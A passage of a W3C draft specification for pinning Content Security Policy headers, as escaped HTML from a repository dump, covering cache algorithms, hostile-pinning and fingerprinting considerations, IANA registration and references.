href=\"https://url.spec.whatwg.org/#concept-url-host\">host</a> component of <var>response</var>’s\n      URL’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-origin\">origin</a>.\n    \n     \n\n    \n     <li>\n      Let <var>pinned</var> be the result of executing\n      <a href=\"#pinned-policy-for-host\">§4.2.1 \n    Get the mode pinned policy for host\n  </a> for <code>enforce</code> and <var>host</var>.\n    \n     \n\n    \n     <li>\n      If <var>pinned</var> is not <code>null</code>:\n\n      \n      <ol>\n        \n       <li>\n          Let <var>value</var> be the result of\n          <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-header-parse\">parsing</a>\n          <code>Content-Security-Policy</code> in <var>response</var>’s\n          <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>.\n        \n       \n\n        \n       <li>\n          If <var>value</var> is <code>null</code>:\n\n          \n        <ol>\n            \n         <li>\n              Append a header named <code>Content-Security-Policy</code> with a\n              value of <var>pinned</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">policy directive set</a> to\n              <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>.\n            \n         \n          \n        </ol>\n        \n        \n       \n      \n      </ol>\n      \n    \n     \n\n    \n     <li>\n      Let <var>pinned</var> be the result of executing\n      <a href=\"#pinned-policy-for-host\">§4.2.1 \n    Get the mode pinned policy for host\n  </a> for <code>monitor</code> and <var>host</var>.\n    \n     \n\n    \n     <li>\n      If <var>pinned</var> is not <code>null</code>:\n\n      \n      <ol>\n        \n       <li>\n          Let <var>value</var> be the result of\n          <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-header-parse\">parsing</a>\n          <code>Content-Security-Policy-Report-Only</code> in\n          <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>.\n        \n       \n\n        \n       <li>\n          If <var>value</var> is <code>null</code>:\n\n          \n        <ol>\n            \n         <li>\n              Append a header named\n              <code>Content-Security-Policy-Report-Only</code> with a value of\n              <var>pinned</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">policy directive set</a> to\n              <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>.\n            \n         \n          \n        </ol>\n        \n        \n       \n      \n      </ol>\n      \n    \n     \n  \n    </ol>\n\n  \n    <h3 class=\"heading settled\" data-level=\"4.2\" id=\"cache-algorithms\"><span class=\"secno\">4.2. </span><span class=\"content\">\n    Pinned Policy Cache Algorithms\n  </span><a class=\"self-link\" href=\"#cache-algorithms\"></a></h3>\n\n  \n    <h4 class=\"heading settled\" data-level=\"4.2.1\" id=\"pinned-policy-for-host\"><span class=\"secno\">4.2.1. </span><span class=\"content\">\n    Get the <var>mode</var> pinned policy for <var>host</var>\n  </span><a class=\"self-link\" href=\"#pinned-policy-for-host\"></a></h4>\n\n\n    <p>Given a <var>host</var>, and a <a data-link-type=\"dfn\" href=\"#mode\">mode</a> <var>mode</var>, this algorithm\n  walks through the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy cache</a>, and returns the first matching\n  policy. If no policies match, this algorithm returns <code>null</code>.</p>\n\n\n    <p class=\"note\" role=\"note\">Note: There ought to be at most one policy that matches, given the constraints\n  in <a href=\"#pin-policy\">§4.1.2 \n    Pin policy for origin in mode\n  </a>.</p>\n\n  \n    <ol>\n    \n     <li>\n      For each <var>policy</var> in the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy cache</a>:\n\n      \n      <ol>\n        \n       <li>\n          If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#mode\">mode</a> is not <var>mode</var>, skip to the\n          next policy in the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy cache</a>.\n        \n       \n        \n       <li>\n          Let <var>match type</var> be the result of applying the <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6797#section-8.2\">Known HSTS\n          Host domain name matching</a> algorithm specified in <a data-link-type=\"biblio\" href=\"#biblio-rfc6797\">[RFC6797]</a> to\n          <var>host</var> and <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#protected-host\">protected host</a>.\n        \n       \n        \n       <li>\n          If <var>match type</var> is <code><a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6797#section-8.2\">Superdomain Match</a></code>, and\n          <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#subdomains-included\">subdomains included</a> is <code>true</code>,\n          then return <var>policy</var>.\n        \n       \n        \n       <li>\n          If <var>match type</var> is <code><a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6797#section-8.2\">Congruent Match</a></code>, then\n          return <var>policy</var>.\n        \n       \n      \n      </ol>\n      \n    \n     \n    \n     <li>\n      Return <code>null</code>.\n    \n     \n  \n    </ol>\n\n\n\n  \n    <h4 class=\"heading settled\" data-level=\"4.2.2\" id=\"expire-pinned-policies\"><span class=\"secno\">4.2.2. </span><span class=\"content\">\n    Remove expired pinned policies from the cache\n  </span><a class=\"self-link\" href=\"#expire-pinned-policies\"></a></h4>\n\n\n    <p>Periodically, the user agent MUST remove expired policies from the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned\n  policy cache</a>. Removal will have no web-visible effect, as expired policies\n  will not modify <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://fetch.spec.whatwg.org/#response\">Response</a></code>s during <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#fetching\">fetching</a>, but expired policies can\n  have privacy impact if they aren’t removed completely (as they offer evidence\n  that a particular user visited a particular host at some point in the past).</p>\n\n\n    <p>Expired entries can be removed via the following steps:</p>\n\n  \n    <ol>\n    \n     <li>\n      For each <var>policy</var> in the list of <a data-link-type=\"dfn\" href=\"#pinned-security-policy\">pinned policies</a> contained\n      in the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy cache</a>:\n\n      \n      <ol>\n        \n       <li>\n          If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-expiration-date\">policy expiration date</a> is prior to the\n          current time, remove <var>policy</var> from the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy\n          cache</a>.\n        \n       \n      \n      </ol>\n      \n    \n     \n  \n    </ol>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"5\" id=\"security-considerations\"><span class=\"secno\">5. </span><span class=\"content\">Security Considerations</span><a class=\"self-link\" href=\"#security-considerations\"></a></h2>\n\n  \n    <h3 class=\"heading settled\" data-level=\"5.1\" id=\"hostile-pinning\"><span class=\"secno\">5.1. </span><span class=\"content\">Hostile Pinning</span><a class=\"self-link\" href=\"#hostile-pinning\"></a></h3>\n\n\n    <p>An active network attacker who is able to inject headers into a site’s\n  responses may attempt to maliciously pin a <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#security-policy\">security policy</a> for a host\n  and its subdomains. Pinning <code>default-src 'none'</code> on a page that\n  wasn’t built to work under such restrictions could deny service for an\n  entire application.</p>\n\n\n    <p>Unlike public key pinning <a data-link-type=\"biblio\" href=\"#biblio-pkp\">[PKP]</a>, however, pinning a security policy cannot\n  completely deny access to a site. This means that maliciously (or\n  accidentally) pinned policies can be easily overridden in two ways:</p>\n\n  \n    <ol>\n    \n     <li>\n      Authors SHOULD send a valid <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#security-policy\">security policy</a> down with each HTTP\n      response, and use the pin only as a backup (see <a href=\"#pins-as-defaults\">§7.1 Pins as a default</a>).\n\n\n      <p class=\"note\" role=\"note\">Note: A future version of this specification may add a directive which\n      prevents overriding the pinned policy (<code>no-override</code>?). This\n      would allow authors to choose a stricter deployment model, but would\n      remove this override possibility.</p>\n      \n    \n     \n    \n     <li>\n      Authors may also rescind a pinned policy by sending a new\n      <code><a data-link-type=\"dfn\" href=\"#content_security_policy_pin\">Content-Security-Policy-Pin</a></code> header with a\n      <code><a data-link-type=\"dfn\" href=\"#max_age\">max-age</a></code> of <code>0</code>.\n    \n     \n  \n    </ol>\n\n\n    <p>Moreover, the risk of malicious injection is mitigated by the fact that we\n  only accept pins over secure and authenticated connections.</p>\n</section>\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"6\" id=\"privacy-considerations\"><span class=\"secno\">6. </span><span class=\"content\">Privacy Considerations</span><a class=\"self-link\" href=\"#privacy-considerations\"></a></h2>\n\n  \n    <h3 class=\"heading settled\" data-level=\"6.1\" id=\"fingerprinting\"><span class=\"secno\">6.1. </span><span class=\"content\">Fingerprinting</span><a class=\"self-link\" href=\"#fingerprinting\"></a></h3>\n\n\n    <p>Similar to HSTS and HPKP, a <a data-link-type=\"dfn\" href=\"#pinned-security-policy\">pinned security policy</a> could be used as a\n  \"supercookie\", setting a distinct policy for each user which can be used as\n  an identifier in combination with (or instead of) HTTP cookies.</p>\n\n\n    <p>For example, the <code>report-uri</code> directive could contain a unique\n  identifier (<code>report-uri https://example.com/endpoint?id=123</code>) which\n  could identify a user based on correlating violation reports with user\n  activity.</p>\n\n\n    <p>To mitigate this risk, user agents MUST:</p>\n\n  \n    <ol>\n    \n     <li>\n      Clear the <a data-link-type=\"dfn\" href=\"#pinned-policy-cache\">pinned policy cache</a> when the user clears her browsing\n      data (cookies, site data, history, etc).\n    \n     \n    \n     <li>\n      Refuse to process <code>Set-Cookie</code> response headers during the\n      <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#send-violation-reports\">send violation reports</a> algorithm.\n    \n     \n  \n    </ol>\n\n\n    <p class=\"issue\" id=\"issue-3ca6de74\"><a class=\"self-link\" href=\"#issue-3ca6de74\"></a>Can we assume that subdomains are really owned by the owner of the\n  root domain?</p>\n</section>\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"7\" id=\"authoring-considerations\"><span class=\"secno\">7. </span><span class=\"content\">Authoring Considerations</span><a class=\"self-link\" href=\"#authoring-considerations\"></a></h2>\n\n  \n    <h3 class=\"heading settled\" data-level=\"7.1\" id=\"pins-as-defaults\"><span class=\"secno\">7.1. </span><span class=\"content\">Pins as a default</span><a class=\"self-link\" href=\"#pins-as-defaults\"></a></h3>\n\n\n    <p class=\"issue\" id=\"issue-c9a0c3af\"><a class=\"self-link\" href=\"#issue-c9a0c3af\"></a>Explain something about the theory; pins act as a baseline for\n  resources that don’t otherwise have a policy. Explain layering, granularity,\n  etc.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"7.2\" id=\"pins-override-meta\"><span class=\"secno\">7.2. </span><span class=\"content\">Pins override <code>&lt;meta></code></span><a class=\"self-link\" href=\"#pins-override-meta\"></a></h3>\n\n\n    <p>Pinned policies are applied before <a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a> elements can be\n  discovered. This means that a resource delivered without a header that\n  specified a <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#security-policy\">security policy</a> will be subject to the policy pinned\n  for its host, even if it then delivers a policy via the mechanisms described\n  in the <a data-link-type=\"dfn\" href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#delivery-html-meta-element\">HTML <code>&lt;meta></code>\n  element</a> section of <a data-link-type=\"biblio\" href=\"#biblio-csp\">[CSP]</a>.</p>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"8\" id=\"iana-considerations\"><span class=\"secno\">8. </span><span class=\"content\">IANA Considerations</span><a class=\"self-link\" href=\"#iana-considerations\"></a></h2>\n\n\n    <p>The permanent message header field registry should be updated\n  with the following registrations: <a data-link-type=\"biblio\" href=\"#biblio-rfc3864\">[RFC3864]</a></p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"8.1\" id=\"iana-content-security-policy-pin\"><span class=\"secno\">8.1. </span><span class=\"content\">\n      Content-Security-Policy-Pin\n    </span><a class=\"self-link\" href=\"#iana-content-security-policy-pin\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>Content-Security-Policy-Pin\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See <code><a data-link-type=\"dfn\" href=\"#content_security_policy_pin\">Content-Security-Policy-Pin</a></code>\n      Header Field)\n      \n    \n     </dl>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"8.2\" id=\"iana-content-security-policy-report-only-pin\"><span class=\"secno\">8.2. </span><span class=\"content\">\n      Content-Security-Policy-Report-Only-Pin\n    </span><a class=\"self-link\" href=\"#iana-content-security-policy-report-only-pin\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>Content-Security-Policy-Report-Only-Pin\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only_pin\">Content-Security-Policy-Report-Only-Pin</a></code>\n      Header Field)\n      \n    \n     </dl>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"9\" id=\"acknowledgements\"><span class=\"secno\">9. </span><span class=\"content\">Acknowledgements</span><a class=\"self-link\" href=\"#acknowledgements\"></a></h2>\n\n\n    <p>Yan Zhu kicked my butt to get this document out the door. I stole concepts\n  wholesale from both HSTS and PKP.</p>\n</section>\n\n</main>\n\n  <h2 class=\"no-ref no-num heading settled\" id=\"conformance\"><span class=\"content\">Conformance</span><a class=\"self-link\" href=\"#conformance\"></a></h2>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conventions\"><span class=\"content\">Document conventions</span><a class=\"self-link\" href=\"#conventions\"></a></h3>\n\n    \n  <p>Conformance requirements are expressed with a combination of\n    descriptive assertions and RFC 2119 terminology. The key words \"MUST\",\n    \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\",\n    \"RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in the normative parts of this\n    document are to be interpreted as described in RFC 2119.\n    However, for readability, these words do not appear in all uppercase\n    letters in this specification.\n\n    </p>\n  <p>All of the text of this specification is normative except sections\n    explicitly marked as non-normative, examples, and notes. <a data-link-type=\"biblio\" href=\"#biblio-rfc2119\">[RFC2119]</a></p>\n\n    \n  <p>Examples in this specification are introduced with the words \"for example\"\n    or are set apart from the normative text with <code>class=\"example\"</code>,\n    like this:\n\n    </p>\n  <div class=\"example\">\n        \n   <p>This is an example of an informative example.</p>\n   \n    \n  </div>\n\n    \n  <p>Informative notes begin with the word \"Note\" and are set apart from the\n    normative text with <code>class=\"note\"</code>, like this:\n\n    </p>\n  <p class=\"note\" role=\"note\">Note, this is an informative note.</p>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformant-algorithms\"><span class=\"content\">Conformant Algorithms</span><a class=\"self-link\" href=\"#conformant-algorithms\"></a></h3>\n\n    \n  <p>Requirements phrased in the imperative as part of algorithms (such as\n    \"strip any leading space characters\" or \"return false and abort these\n    steps\") are to be interpreted with the meaning of the key word (\"must\",\n    \"should\", \"may\", etc) used in introducing the algorithm.</p>\n\n    \n  <p>Conformance requirements phrased as algorithms or specific steps can be\n    implemented in any manner, so long as the end result is equivalent. In\n    particular, the algorithms defined in this specification are intended to\n    be easy to understand and are not intended to be performant. Implementers\n    are encouraged to optimize.</p>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformance-classes\"><span class=\"content\">Conformance Classes</span><a class=\"self-link\" href=\"#conformance-classes\"></a></h3>\n\n    \n  <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"conformant-user-agent\">conformant user agent<a class=\"self-link\" href=\"#conformant-user-agent\"></a></dfn> must implement all the requirements\n    listed in this specification that are applicable to user agents.</p>\n\n    \n  <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"conformant-server\">conformant server<a class=\"self-link\" href=\"#conformant-server\"></a></dfn> must implement all the requirements listed\n    in this specification that are applicable to servers.</p>\n\n\n\n\n  <h2 class=\"no-num heading settled\" id=\"index\"><span class=\"content\">Index</span><a class=\"self-link\" href=\"#index\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-here\"><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#index-defined-here\"></a></h3>\n  <ul class=\"indexlist\">\n   <li>conformant server, <a href=\"#conformant-server\">Unnumbered section</a>\n   <li>conformant user agent, <a href=\"#conformant-user-agent\">Unnumbered section</a>\n   <li>Content-Security-Policy-Pin, <a href=\"#content_security_policy_pin\">3.1</a>\n   <li>Content-Security-Policy-Report-Only-Pin, <a href=\"#content_security_policy_report_only_pin\">3.2</a>\n   <li>includeSubDomains, <a href=\"#includesubdomains\">3.3.2</a>\n   <li>max-age, <a href=\"#max_age\">3.3.1</a>\n   <li>mode, <a href=\"#mode\">2.1</a>\n   <li>pinned policy, <a href=\"#pinned-security-policy\">2.1</a>\n   <li>pinned policy cache, <a href=\"#pinned-policy-cache\">2.1</a>\n   <li>pinned security policy, <a href=\"#pinned-security-policy\">2.1</a>\n   <li>policy directive set, <a href=\"#policy-directive-set\">2.1</a>\n   <li>policy expiration date, <a href=\"#policy-expiration-date\">2.1</a>\n   <li>protected host, <a href=\"#protected-host\">2.1</a>\n   <li>subdomains included, <a href=\"#subdomains-included\">2.1</a></ul>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-elsewhere\"><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#index-defined-elsewhere\"></a></h3>\n  <ul class=\"indexlist\">\n   <li><a data-link-type=\"biblio\" href=\"#biblio-csp\">[CSP]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#content_security_policy\">content-security-policy</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#delivery-html-meta-element\">delivery via meta element</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#enforce\">enforce</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#enforce\">enforced</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#monitor\">monitor</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#monitor\">monitored</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#parse-the-policy\">parse the policy</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#policy-syntax\">policy syntax</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#policy_token\">policy-token</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#security-policy\">security policy</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/#send-violation-reports\">send violation reports</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-dom\">[DOM]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-fetch\">[FETCH]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://fetch.spec.whatwg.org/#response\">Response</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#fetching\">fetching</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-header-parse\">parse header</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-mix\">[MIX]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/mixedcontent/#a-priori-insecure-origin\">a priori insecure origin</a>\n     <li><a href=\"https://w3c.github.io/webappsec/specs/mixedcontent/#a-priori-insecure-url\">a priori insecure url</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[RFC6454]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-rfc6797\">[RFC6797]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc6797#section-8.2\">congruent match</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc6797#section-8.2\">known hsts host domain name matching</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc6797#section-8.2\">superdomain match</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-rfc7231\">[RFC7231]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc7231#section-2\">resource</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource representation</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-url\">[URL]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-host\">host</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-origin\">origin of a url</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.w3.org/TR/workers/#worker\">Worker</a>\n    </ul></ul>\n  <h2 class=\"no-num heading settled\" id=\"references\"><span class=\"content\">References</span><a class=\"self-link\" href=\"#references\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"normative\"><span class=\"content\">Normative References</span><a class=\"self-link\" href=\"#normative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-abnf\"><a class=\"self-link\" href=\"#biblio-abnf\"></a>[ABNF]\n   <dd>Dave Crocker; Paul Overell. <a href=\"http://www.ietf.org/rfc/rfc5234.txt\">Augmented BNF for Syntax Specifications: ABNF</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc5234.txt\">http://www.ietf.org/rfc/rfc5234.txt</a>\n   <dt id=\"biblio-csp\"><a class=\"self-link\" href=\"#biblio-csp\"></a>[CSP]\n   <dd>Mike West; Dan Veditz. <a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/\">Content Security Policy</a>. WD. URL: <a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/\">https://w3c.github.io/webappsec/specs/content-security-policy/</a>\n   <dt id=\"biblio-fetch\"><a class=\"self-link\" href=\"#biblio-fetch\"></a>[FETCH]\n   <dd>Anne van Kesteren. <a href=\"https://fetch.spec.whatwg.org/\">Fetch</a>. Living Standard. URL: <a href=\"https://fetch.spec.whatwg.org/\">https://fetch.spec.whatwg.org/</a>\n   <dt id=\"biblio-mix\"><a class=\"self-link\" href=\"#biblio-mix\"></a>[MIX]\n   <dd>Mike West. <a href=\"https://w3c.github.io/webappsec/specs/mixedcontent/\">Mixed Content</a>. ED. URL: <a href=\"https://w3c.github.io/webappsec/specs/mixedcontent/\">https://w3c.github.io/webappsec/specs/mixedcontent/</a>\n   <dt id=\"biblio-rfc3864\"><a class=\"self-link\" href=\"#biblio-rfc3864\"></a>[RFC3864]\n   <dd>Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. <a href=\"http://www.ietf.org/rfc/rfc3864.txt\">Registration Procedures for Message Header Fields</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc3864.txt\">http://www.ietf.org/rfc/rfc3864.txt</a>\n   <dt id=\"biblio-rfc6454\"><a class=\"self-link\" href=\"#biblio-rfc6454\"></a>[RFC6454]\n   <dd>Adam Barth. <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">The Web Origin Concept</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">http://www.ietf.org/rfc/rfc6454.txt</a>\n   <dt id=\"biblio-rfc6797\"><a class=\"self-link\" href=\"#biblio-rfc6797\"></a>[RFC6797]\n   <dd>Jeff Hodges; Collin Jackson; Adam Barth. <a href=\"http://www.ietf.org/rfc/rfc6797.txt\">HTTP Strict Transport Security (HSTS)</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6797.txt\">http://www.ietf.org/rfc/rfc6797.txt</a>\n   <dt id=\"biblio-rfc7231\"><a class=\"self-link\" href=\"#biblio-rfc7231\"></a>[RFC7231]\n   <dd>Roy T. Fielding; Julian F. Reschke. <a href=\"http://www.ietf.org/rfc/rfc7231.txt\">HTTP/1.1 Semantics and Content</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7231.txt\">http://www.ietf.org/rfc/rfc7231.txt</a>\n   <dt id=\"biblio-url\"><a class=\"self-link\" href=\"#biblio-url\"></a>[URL]\n   <dd>Anne van Kesteren. <a href=\"https://url.spec.whatwg.org/\">URL</a>. Living Standard. URL: <a href=\"https://url.spec.whatwg.org/\">https://url.spec.whatwg.org/</a>\n   <dt id=\"biblio-dom\"><a class=\"self-link\" href=\"#biblio-dom\"></a>[dom]\n   <dd>Anne van Kesteren; et al. <a href=\"http://www.w3.org/TR/dom/\">W3C DOM4</a>. 10 July 2014. LCWD. URL: <a href=\"http://www.w3.org/TR/dom/\">http://www.w3.org/TR/dom/</a>\n   <dt id=\"biblio-html5\"><a class=\"self-link\" href=\"#biblio-html5\"></a>[html5]\n   <dd>Robin Berjon; et al. <a href=\"http://www.w3.org/TR/html5/\">HTML5</a>. 28 October 2014. REC. URL: <a href=\"http://www.w3.org/TR/html5/\">http://www.w3.org/TR/html5/</a>\n   <dt id=\"biblio-rfc2119\"><a class=\"self-link\" href=\"#biblio-rfc2119\"></a>[rfc2119]\n   <dd>S. Bradner. <a href=\"http://www.ietf.org/rfc/rfc2119.txt\">Key words for use in RFCs to Indicate Requirement Levels</a>. March 1997. Best Current Practice. URL: <a href=\"http://www.ietf.org/rfc/rfc2119.txt\">http://www.ietf.org/rfc/rfc2119.txt</a>\n   <dt id=\"biblio-workers\"><a class=\"self-link\" href=\"#biblio-workers\"></a>[workers]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/workers/\">Web Workers</a>. 1 May 2012. CR. URL: <a href=\"http://www.w3.org/TR/workers/\">http://www.w3.org/TR/workers/</a></dl>\n  <h3 class=\"no-num heading settled\" id=\"informative\"><span class=\"content\">Informative References</span><a class=\"self-link\" href=\"#informative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-pkp\"><a class=\"self-link\" href=\"#biblio-pkp\"></a>[PKP]\n   <dd>Chris Evans; Chris Palmer; Ryan Sleevi. <a href=\"https://tools.ietf.org/html/draft-ietf-websec-key-pinning\">Public Key Pinning Extension for HTTP</a>. Draft. URL: <a href=\"https://tools.ietf.org/html/draft-ietf-websec-key-pinning\">https://tools.ietf.org/html/draft-ietf-websec-key-pinning</a>\n   <dt id=\"biblio-power\"><a class=\"self-link\" href=\"#biblio-power\"></a>[POWER]\n   <dd>Mike West. <a href=\"https://w3c.github.io/webappsec/specs/powerfulfeatures/\">Requirements for Powerful Features</a>. ED. URL: <a href=\"https://w3c.github.io/webappsec/specs/powerfulfeatures/\">https://w3c.github.io/webappsec/specs/powerfulfeatures/</a></dl>\n  <h2 class=\"no-num heading settled\" id=\"issues-index\"><span class=\"content\">Issues Index</span><a class=\"self-link\" href=\"#issues-index\"></a></h2>\n  <div style=\"counter-reset:issue\">\n   <div class=\"issue\">What’s the impact of reporting? If headers can be injected into\n    <code>appspot.com</code> or <code>newyorktimes.com</code>, can attackers use\n    reporting to determine what apps you’re using, or what articles you’re\n    reading? Brian\n    <a href=\"https://lists.w3.org/Archives/Public/public-webappsec/2015Feb/0164.html\">has\n    explored this space a bit</a>. Perhaps dropping reporting from pinned\n    policies would be reasonable. The main use-case I see would be discovering\n    pieces of your site that you haven’t covered with a policy (e.g. where did\n    the pin decrease attack surface?). It’s not clear we can even do that\n    without the implications Brian suggests.<a href=\"#issue-d8134519\"> ↵ </a></div>\n   <div class=\"issue\">We probably need a hook in <a data-link-type=\"biblio\" href=\"#biblio-fetch\">[Fetch]</a>. In\n  particular, we need to ensure that we detect and pin a policy early enough\n  for <code>frame-ancestors</code> and <code>referrer</code> to handle blocking\n  and redirects.<a href=\"#issue-084d693a\"> ↵ </a></div>\n   <div class=\"issue\">Can we assume that subdomains are really owned by the owner of the\n  root domain?<a href=\"#issue-3ca6de74\"> ↵ </a></div>\n   <div class=\"issue\">Explain something about the theory; pins act as a baseline for\n  resources that don’t otherwise have a policy. Explain layering, granularity,\n  etc.<a href=\"#issue-c9a0c3af\"> ↵ </a></div></div></body>\n</html>\n"
  },
  {
    "path": "pinning/published/default.css",
